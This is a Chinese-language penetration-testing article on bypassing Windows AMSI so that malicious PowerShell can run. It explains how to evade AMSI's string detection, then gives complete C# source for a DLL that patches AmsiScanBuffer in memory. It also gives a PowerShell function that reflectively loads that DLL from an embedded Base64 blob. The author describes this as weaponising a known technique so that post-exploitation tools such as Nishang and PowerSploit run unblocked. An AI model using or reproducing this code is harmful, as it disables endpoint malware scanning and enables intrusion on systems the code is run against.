如何绕过AMSI执行任意恶意PowerShell代码

概述

在此前，我曾经介绍过如何从本地管理员用户手动获取SYSTEM Shell。在渗透测试期间，这是一个非常有价值的步骤，但往往会在最后面进行，因为这一步的前提是已经获得了目标主机的访问权限。

而我们本文介绍的方法，对于渗透测试的早期会更有用一些，因为AMSI（反恶意软件扫描接口）可能会对获取 Shell 的过程以及后期漏洞利用（Post-exploitation）阶段造成麻烦。

关于AMSI

AMSI，即ANTI MALWARE SCAN INTERFACE（反恶意软件扫描接口）。顾名思义，其作用就是扫描、检测并阻止任何有害的程序。

其作用的直观体现如下图所示：

如果大家拥有Windows环境中渗透测试的经验，可能会发现几乎所有公开的脚本都会出现这样的错误，比如Nishang、Empire、PowerSploit和其他比较知名的PowerShell脚本。

而这一错误的产生，就是AMSI防护的结果。

AMSI的工作原理

AMSI使用基于字符串的检测方法，来确定PowerShell代码是否为恶意代码。

示例如下：

其中，amsiutils这个关键词被禁止了。如果在名称中包含这个单词，那么就会被AMSI识别为恶意代码。

如何绕过字符串检测

大家都知道，字符串检测很容易绕过，只要对使用的字符串稍加改动就可以。对其进行编码，或者将其拆分为块后再重新组合，就可以实现绕过。

以下是绕过字符串检测，执行“被禁止”代码的3种方法：

简单地将单词分成两部分，就足以欺骗这种检测方案。我们在混淆过程中，发现了很多这样的情况。但在大多数情况下，这种方法可能会失败。

在某些情况下，通过对被禁用的代码进行Base 64解码，就可以绕过这种方案。

当然，也可以使用XOR来欺骗AMSI，并在运行时将字符串解码到内存中。这是更为有效的方式，因为需要更高级的技术来对其进行检测。

上述所有技术，都是使用“迂回战术”逃避字符串检测，但我们不希望如此。我们希望这些脚本能以原始的状态来执行，而原始的状态就是指AMSI会阻止其运行的状态。

通过内存修补绕过AMSI

这才是真正意义的“绕过”。在严格意义上，我们并没有进行“绕过”，而是直接禁用了它。

在AMSI中，有一些函数是在运行PowerShell代码之前执行的（从PowerShell v3.0开始），因此，为了完全绕过AMSI以执行任意PowerShell恶意软件，我们需要对这些函数进行内存修补（Memory Patch），以实现对AMSI的完全禁用。

我在网上找到的最佳方案是： https://www.cyberark.com/threat-research-blog/amsi-bypass-redux 。这一方案适用于最新版本的Windows。

有关于这种内存修补方法的详细信息，请参考上面的这篇文章，我不会在此过多涉及。在我们的研究中，主要对这种技术进行武器化，并且将其应用于PowerShell脚本中，从而实现对它的实际利用。

我们将使用上述技术，编译一个C# DLL，然后在PowerShell会话中加载并执行此代码，完全禁用AMSI。

using System;
using System.Runtime.InteropServices;

namespace Bypass
{
    public class AMSI
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);


        public static int Disable()
        {
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            if (TargetDLL == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
                return 1;
            }

            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
            if (AmsiScanBufferPtr == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
                return 1;
            }

            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;
            if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
            {
                Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
                return 1;
            }

            /*
             * This is a new technique, and is still working.
             * Source: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
             */
            Byte[] Patch = { 0x31, 0xff, 0x90 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(Patch, 0, unmanagedPointer, 3);
            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

            Console.WriteLine("AmsiScanBuffer patch has been applied.");
            return 0;
        }
    }
}

现在，我们已经拥有了DLL文件，其使用方法如下图所示：

至此，就能够自由使用被禁止的关键词。从此之后，就不再有AMSI的限制。我们可以自由加载任何PowerShell脚本，无论该脚本是否属于恶意脚本。如果将此类攻击与恶意 工具 相结合，那么就能够100%绕过（禁用）AMSI。

使用PowerShell实现武器化

当然，在渗透测试中，我们必须拥有自动应用此类技术的工具。同样，当我们通过C#使用.NET框架时，可以创建一个反映我们的DLL运行时内存的Posh脚本，而无需再将DLL预先放置在硬盘上。

以下是禁用AMSI所需的PowerShell脚本：

function Bypass-AMSI
{
    if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {
        [Reflection.Assembly]::Load([Convert]::FromBase64String("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N0RBQ0VEAEJ5cGFzc0FNU0kAbXNjb3JsaWIAc3JjAERpc2FibGUAUnVudGltZUZpZWxkSGFuZGxlAENvbnNvbGUAaE1vZHVsZQBwcm9jTmFtZQBuYW1lAFdyaXRlTGluZQBWYWx1ZVR5cGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAQnl0ZQBkd1NpemUAc2l6ZQBTeXN0ZW0uUnVudGltZS5WZXJzaW9uaW5nAEFsbG9jSEdsb2JhbABNYXJzaGFsAEtlcm5lbDMyLmRsbABCeXBhc3NBTVNJLmRsbABTeXN0ZW0AU3lzdGVtLlJlZmxlY3Rpb24Ab3BfQWRkaXRpb24AWmVybwAuY3RvcgBVSW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBSdW50aW1lSGVscGVycwBCeXBhc3MAR2V0UHJvY0FkZHJlc3MAbHBBZGRyZXNzAE9iamVjdABscGZsT2xkUHJvdGVjdABWaXJ0dWFsUHJvdGVjdABmbE5ld1Byb3RlY3QAb3BfRXhwbGljaXQAZGVzdABJbml0aWFsaXplQXJyYXkAQ29weQBMb2FkTGlicmFyeQBSdGxNb3ZlTWVtb3J5AG9wX0VxdWFsaXR5AAAAABFhAG0AcwBpAC4AZABsAGwAAFdFAFIAUgBPAFIAOgAgAEMAbwB1AGwAZAAgAG4AbwB0ACAAcgBlAHQAcgBpAGUAdgBlACAAYQBtAHMAaQAuAGQAbABsACAAcABvAGkAbgB0AGUAcgAuAAAdQQBtAHMAaQBTAGMAYQBuAEIAdQBmAGYAZQByAABzRQBSAFIATwBSADoAIABDAG8AdQBsAGQAIABuAG8AdAAgAHIAZQB0AHIAaQBlAHYAZQAgAEEAbQBzAGkAUwBjAGEAbgBCAHUAZgBmAGUAcgAgAGYAdQBuAGMAdABpAG8AbgAgAHAAbwBpAG4AdABlAHIAAHVFAFIAUgBPAFIAOgAgAEMAbwB1AGwAZAAgAG4AbwB0ACAAYwBoAGEAbgBnAGUAIABBAG0AcwBpAFMAYwBhAG4AQgB1AGYAZgBlAHIAIABtAGUAbQBvAHIAeQAgAHAAZQByAG0AaQBzAHMAaQBvAG4AcwAhAABNQQBtAHMAaQBTAGMAYQBuAEIAdQBmAGYAZQByACAAcABhAHQAYwBoACAAaABhAHMAIABiAGUAZQBuACAAYQBwAHAAbABpAGUAZAAuAAAAAABNy6E5KHzvRJzwgzKCw/hXAAQgAQEIAyAAAQUgAQEREQQgAQEOBCABAQIHBwUYGBkJGAIGGAUAAgIYGAQAAQEOBAABGQsHAAIBEmERZQQAARgICAAEAR0FCBgIBQACGBgICLd6XFYZNOCJAwYREAUAAhgYDgQAARgOCAAEAhgZCRAJBgADARgYCAMAAAgIAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBCAEAAgAAAAAADwEACkJ5cGFzc0FNU0kAAAUBAAAAABcBABJDb3B5cmlnaHQgwqkgIDIwMTgAACkBACQ4Y2ExNGM0OS02NDRiLTQwY2YtYjFjNy1hNWJkYWViMGIyY2EAAAwBAAcxLjAuMC4wAABNAQAcLk5FVEZyYW1ld29yayxWZXJzaW9uPXY0LjUuMgEAVA4URnJhbWV3b3JrRGlzcGxheU5hbWUULk5FVCBGcmFtZXdvcmsgNC41LjIEAQAAAAAAAAAAAN3BR94AAAAAAgAAAGUAAAAMLAAADA4AAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAABSU0RTac9x8RJ6SEet9F+qmVae0gEAAABDOlxVc2Vyc1xhbmRyZVxzb3VyY2VccmVwb3NcQnlwYXNzQU1TSVxCeXBhc3NBTVNJXG9ialxSZWxlYXNlXEJ5cGFzc0FNU0kucGRiAJksAAAAAAAAAAA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| Out-Null
        Write-Output "DLL has been reflected";
    }
    [Bypass.AMSI]::Disable()
}

这段脚本内容将绕过字符串检测机制，因为其中没有使用任何恶意内容。它只是将.NET程序集加载到内存，并执行其代码。在执行后，我们就可以自由地执行真正的PowerShell恶意软件。

运行结果如下：

这种技术非常棒，并且很实用。大家可以使用一些PowerShell的后期漏洞利用脚本，例如Nishang、PowerSploit或其他任何PoSH黑客工具，这些工具之前都会被烦人的AMSI阻止。

我希望这篇文章能对大家有所帮助。当然，这个技术还是要归功于CyberArk网站的作者，我只是展示了如何从攻击者的角度在实际中对其进行利用。